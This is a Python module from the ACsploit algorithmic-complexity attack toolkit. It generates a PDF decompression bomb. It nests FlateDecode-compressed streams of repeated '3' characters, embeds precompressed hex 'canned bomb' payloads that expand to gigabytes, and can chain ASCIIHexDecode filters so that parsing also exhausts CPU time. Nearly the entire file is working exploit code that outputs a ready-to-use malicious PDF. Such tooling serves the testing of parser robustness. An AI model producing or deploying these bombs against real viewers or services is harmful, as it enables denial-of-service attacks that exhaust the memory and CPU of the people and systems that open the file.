import zlib

from acsploit.options import Options

options = Options()
options.add_option('target_payload_memory', 134217728,
                   'Desired size of decompressed pdfstream in bytes (maximum 8GB). Memory ceiling for time-effect bomb.')
options.add_option('time_multiplier', 1,
                   'Gives an additive effect to time usage, but may reduce max memory consumption. Set to 1 for no additional time effect (memory only)')

DESCRIPTION = 'Produces a pdf decompression bomb using pdfstream objects.\n\n  Based on a description provided by Didier ' \
              'Stevens (https://blog.didierstevens.com/2008/05/19/pdf-stream-objects/), we produced two variants of a ' \
              'pdf bomb. If the "time_multiplier" option is set to 1, then a pdf bomb is constructed where the document ' \
              'contains pdfstreams that are decompressed using the FlateDecode filter (in a cascade of 3 FlateDecodes). ' \
              'This will cause an AC memory effect on most pdf parsers. We also include the option of extending this ' \
              'attack into an AC time attack (by setting time_multiplier > 1) In that case, we produce pdfstream objects' \
              ' that are referenced multiple times within the page whose individual final memory consumption is 1/(2^8) the' \
              ' target_payload_memory. This is accomplished by following the FlateDecode filters with valid ASCIIHexDecode' \
              ' filters, each of which reduce the final filtered payload size by 1/2. What makes this version of the bomb ' \
              'possible is the fact that 0x33 -> "3" in ASCII, which allows any number of ASCIIHexDecode filters to be ' \
              'run in sequence against a sufficiently long sequence of all "3"s.'

NO_INPUT = True
DEFAULT_OUTPUT = 'file'
DEFAULT_OUTPUT_OPTIONS = {
    'final_newline': False,
    'format': 'binary'
}

CANNED_BOMBS = [
    "78daabb8f5f68ead9773a240db45e9c9a79c92279a9895b35e63e43c72ec9693b47421e3b4a65e15253dd70bac298c65ef0ec80b5c625ba312a1195e3cfde3dee721c1fe963ce7affe7e7ed9f76b7e98fd9f3a1e79736d06068605059bb7dfce4bb7bd72f6f4c38b9c4081805d9fdfae8dab16f96179db76031f5040e3dedd8a2bf9f62cfb9689dbbe06f21b1ef1ee139ffc4decc39d33e57d6f9981225ddfb524801443200b88a7d09d00e2a408f280141b343102a909ae0620b14d1c6c40d241ec2088c3a10cd614496f4da7ff5684ac9767feb5fa59517d720050cf4ab1eaeb939fbe944f5e77db19007def65b2",
    "78daabb8f5f68eaedf9c4489b68b8aae8a5102477b241b9770352b6ab2f52e98b581c1866fd6326fc5034c1f025ad73d54574c640c6d5990c126715268df6b99afafdcef5516cbdef9bbfb8f6555b189e5dffafd35db0c98181818d8debdf8767df9ceefc753aaf66efdcb0c1491d8b5577ffef3f4c5074ebfabb86c091448f85097bf46ff5c1d878ddcbbf3d6ec40119e7bd79fb7bfdfacfb20ab6adf96c7724011830af32646203d4149024832e8823917201c4364cea80cd5658e4bbfd67e1f7de0d1e52f35b9a52c0c1f0e1eddfef1e47dfbf5d733037801480d8a9e",
    "78daabb8f5f6ce5abd638932c71f1ef7689aee1038ef70408e48a4c26ce60ba667e634146f0834f1bc34a771fad9670c2a8e49fcf39227fc9bffdaabfcdfb1fbef6afbe2eebdf777dfef772cfcfefad5d73f2b333030243cf09b773e2dfd9fdce3938fbf9d93038a1894b07773175f5e7ce0fabf5bd32c414a3e9c33bf367d993d8b5d1ffff3338c4091e6ed9f7e6eb3dccb6ae39337bdfc2d58e4bb8a049062d06c02f12e288139ba608e803212675466546684c914fd9c7fb0e1e2ddb34f8ff25b6ff2be03001b87a711",
    "78daabb8f5f6ce42afbb8932c71f1adbb0f106378b755f3710d039a4939c60b843c7adf9ee36e5c30fe6be60dd91f799ef0e5b93f8028e3655d7e707ab25fed89f9f7cef4faf7d9c9d7bfd3bbd7ef7ff3ed7cecdcb0f3bf7dc9d8181e1c001dfbaff337e7ef81651bdf3dfa6cfbc4021895d7f5bfb1fbf0c7c90995f7a5a06286050a13e5bbafbb23c53ff7dfee3cf80020d07a3ff55ffaeace2de51b533e2d65676a010cf3dfd83408ac1439007a4400cccc98070249039a332a332a332a332a332a33284642c2bf8d97ab6bf93afab9b2bfb37fef5f2e2dbf3e3189f4b6f910200817b404a",
    "78daabb8f5f68ea2df9c4089b68b8a022eac01813c69d31a3399d87a353c639d2fb074333bbd32cc3dc47720318281af53fad692933a0b5625899c65d8dcf3dfd23df6ef4973f3f32fdfefe7175f6cfefcf1ecfff566f9f63d0c0c0c0d8dd6ff4b77eef9f24fe2bc7af56f76a0c8810bb2ebd6afd5716b9c9e1fbdfb1c2350a4f9fbdfcfdf8e3d6a3fb07ff363d1e7204d077f9bcc7ea7b3ade1f8cfbfc7f5df41d4e848002906cd2610ef821298a30be608282371466546654665466546654665466546654665466546654665068b8c7ddae5d5df35139e67da45da4a6ebddbbb2feebf4d156bd58a8d4200f661ac68",
    "78daabb8f5f68ea1ded24489b687ca215c3e8ec6bc7b5933587aabb8b22ebe50f19255aaeab5ddd010d9e0b768669290b3d2c68695225a4505d33edebf1e5afb35daee6791bcfddffdb6d2b596b1fbfe55c4ed9a29cbc8c0c0c05cfeabc2cef6ebdf0839fb9cffb75881226d79f5757969465c7bdeffbd53c4071490d8d3fd756beb49fec6eb930f4b3e070a341c8caea9be392787b1fcf17dfbb23bcc4021b6f7f3138014c3120e3620e9d00de66c81707a9039a332a332a332a332a332a332a332a332a332a332a332a332a332a332a332a332a332a332a332a332a332a332a332a332a332349089d9bb37a6ce9f7176fd317e7669e55d7dcbde8587fdaf637a74789937004f361f70",
    "78daedd9bf4b027118c7f1ef9d10475ca410768416e51095a5ae4516585b4b4410498946da124d5a50483f2ca39f429163564b9b444284202844935653d49d499141d0d60f9733bbd3a5bfa0213ecb733ccfebdef70fdcccfd9bd0d1e6b3732b8faa81264d794d526fd11df4b71c5fd01fed3a87c149a943a70a7f8f836a5e5e63bfc7c59c7bd096df9d8a09c1705de5ed4ed7fb5dfa8a4f39266942c88620669dee6cc164356bb5fbf2656c3a7662d66ed11957d4ff22edf337d17486d77899b9d191be24255d8ecef29f5ea340d70673d6c6afe22bb36a567e56c5a5492654c5455d5c567f2f100804028140201008040281402010080402814020903f172f7f6e696028421659da7fa8ac3746128105cef65ab117bf7ef22ce90931254a499934bbd78df232ec93ff0b2975a5afd8e55384514833d4cbc90b1224489020418204091224489020418204091224489020418204c93f4a520676683bd3d9ca9367f1d2f510ae160b81cd1f53fd3fb6"
    ]
# Canned bombs start at "3" *(2**27) up to "3"*(2**33) compressed by three flates (with compression level=9)

UP_TO_CONTENT = "255044462D312E370A25E2E3CFD30A0A312030206F626A0A3C3C0A2F54797065202F436174616C6F670A2F4F75746C696E65732032203020520A2F50616765732033203020520A3E3E0A656E646F626A0A0A322030206F626A0A3C3C0A2F54797065202F4F75746C696E65730A2F436F756E7420300A3E3E0A656E646F626A0A0A332030206F626A0A3C3C0A2F54797065202F50616765730A2F436F756E7420320A2F4B696473205B35203020525D0A3E3E0A656E646F626A0A342030206F626A0A3C3C0A2F54797065202F466F6E740A2F53756274797065202F54797065310A2F4E616D65202F46310A2F42617365466F6E74202F48656C7665746963610A2F456E636F64696E67202F57696E416E7369456E636F64696E670A3E3E0A656E646F626A0A352030206F626A0A3C3C0A2F54797065202F506167650A2F506172656E742033203020520A2F5265736F7572636573203C3C0A2F466F6E74203C3C0A2F46312034203020520A3E3E0A3E3E0A2F4D65646961426F78205B302030203631322E30303030203739322E303030305D0A2F436F6E74656E7473205B"
CONNECTOR = "5d0a3e3e0a656e646f626a0a"
TAIL_END = "0a362030206f626a0a3c3c0a2f54797065202f506167650a2f506172656e742033203020520a2f5265736f7572636573203c3c0a2f466f6e74203c3c0a2f46312039203020520a3e3e0a2f50726f635365742038203020520a3e3e0a2f4d65646961426f78205b302030203631322e30303030203739322e303030305d0a2f436f6e74656e74732037203020520a3e3e0a656e646f626a0a0a392030206f626a0a3c3c0a2f54797065202f466f6e740a2f53756274797065202f54797065310a2f4e616d65202f46310a2f42617365466f6e74202f48656c7665746963610a2f456e636f64696e67202f57696e416e7369456e636f64696e670a3e3e0a656e646f626a0a0a31302030206f626a0a3c3c0a3e3e0a656e646f626a0a0a787265660a302031310a3030303030303030303020363535333520660a30303030303030303139203030303030206e0a30303030303030303933203030303030206e0a30303030303030313437203030303030206e0a30303030303030323232203030303030206e0a30303030303030333930203030303030206e0a30303030303031353232203030303030206e0a30303030303031363930203030303030206e0a30303030303032343233203030303030206e0a30303030303032343536203030303030206e0a30303030303032353734203030303030206e0a0a747261696c65720a3c3c0a2f53697a652031310a2f526f6f742031203020520a2f496e666f203130203020520a3e3e0a0a7374617274787265660a323731340a2525454f460a"


def run(output):
    if options['target_payload_memory'] >= (2 ** 34):
        raise ValueError("Cannot build pdf bombs with decompression payloads larger than 17.18 GB. Exploit failed.")
    else:
        pdf_contents = construct_pdf(options['target_payload_memory'], options['time_multiplier'])
        output.output([pdf_contents])


def construct_pdf(target_size, time_multiplier):
    id_multiplicity = {"6": 1}
    time = (time_multiplier > 1)
    id_multiplicity = update_id(target_size, id_multiplicity)
    payloads = generate_payloads(target_size, id_multiplicity, time)
    # Makes a simple pdf with a single pdfstream object (as generated by whatever payload generator you want)
    streamlist = ""
    for id, multiplicity in id_multiplicity.items():
        streamlist += (id + " 0 R ") * multiplicity
    streamlist *= time_multiplier
    final = bytearray.fromhex(UP_TO_CONTENT) + streamlist.encode() + bytearray.fromhex(
        CONNECTOR) + payloads  # Joins all of the payloads to the preamble
    tail = generate_xref(final)  # constructs the xref table, which must be based on the payloads
    final += tail
    return final


def generate_xref(payload):
    offsets = find_all(payload, b'0 obj')
    tail = "0000000000 65535 f".encode() + b'\x20\x0A'
    count = 0
    for offset in offsets:
        tail += ("0" * (10 - len(str(offset))) + str(offset - 2) + " 00000 n").encode() + b'\x20\x0A'
        count += 1
    tail += "trailer".encode() + b'\x20\x0A' + "<<".encode() + b'\x0A' + ("/Size " + str(
        count)).encode() + b'\x20\x0A' + "/Root 1 0 R".encode() + b'\x20\x0A' + ">>".encode() + b'\x20\x0A' + "startxref".encode() + b'\x20\x0A' + str(
        len(payload)).encode() + b'\x0A' + "%%EOF".encode()
    tail = "xref".encode() + b'\x20\x0A' + ("0 " + str(count + 1)).encode() + b'\x20\x0A' + tail
    return tail


def find_all(a_str, sub):
    start = 0
    while True:
        start = a_str.find(sub, start)
        if start == -1:
            return
        yield start
        start += len(sub)


def update_id(target_size, id_multiplicity):
    if target_size >= (2 ** 27):
        id_multiplicity['7'] = get_digit(target_size, 27)
        if target_size >= (2 ** 28):
            id_multiplicity['8'] = get_digit(target_size, 28)
            if target_size >= (2 ** 29):
                id_multiplicity['9'] = get_digit(target_size, 29)
                if target_size >= (2 ** 30):
                    id_multiplicity['10'] = get_digit(target_size, 30)
                    if target_size >= (2 ** 31):
                        id_multiplicity['11'] = get_digit(target_size, 31)
                        if target_size >= (2 ** 32):
                            id_multiplicity['12'] = get_digit(target_size, 32)
                            if target_size >= (2 ** 33):
                                id_multiplicity['13'] = get_digit(target_size, 33)

    return id_multiplicity


def generate_payloads(target_size, id_multiplicity, time):
    payloads = b''
    for id, multiplicity in id_multiplicity.items():
        payloads += create_pdf_stream(target_size, id, time)
    return payloads


def deflate(size):
    string_to_compress = "3" * size  # This string is chosen to make use of ASCIIHexDecode for AC time effect
    compressed = zlib.compress(zlib.compress(zlib.compress(str.encode(string_to_compress), 9), 9), 9)
    return compressed.hex()


def filters(flates, asciihexdecodes, abbreviations):
    if abbreviations:
        return "/Fl " * flates + "/AHx " * asciihexdecodes
    else:
        return "/FlateDecode " * flates + "/ASCIIHexDecode " * asciihexdecodes


def create_pdf_stream(target_size, id, time):
    payload = ""
    if id == "6":
        payload = deflate(target_size % (2 ** 27))
    if id == "7":
        payload = CANNED_BOMBS[0]
    if id == "8":
        payload = CANNED_BOMBS[1]
    if id == "9":
        payload = CANNED_BOMBS[2]
    if id == "10":
        payload = CANNED_BOMBS[3]
    if id == "11":
        payload = CANNED_BOMBS[4]
    if id == "12":
        payload = CANNED_BOMBS[5]
    if id == "13":
        payload = CANNED_BOMBS[6]
    length = len(bytearray.fromhex(payload))  # This doesn't seem to affect much on most pdf renderers.
    asciihexdecodes = 0
    if time:
        asciihexdecodes = 20
    abbreviations = True
    stream = id.encode() + " 0 obj\n<</Filter [".encode() + filters(3, asciihexdecodes,
                                                                    abbreviations).encode() + "]\n/Length ".encode() + str(
        length).encode() + " >>\nstream\n".encode() + bytearray.fromhex(payload) + "\nendstream\nendobj\n\n".encode()
    return stream


def get_digit(number, n):
    return number // (2 ** n) % 2
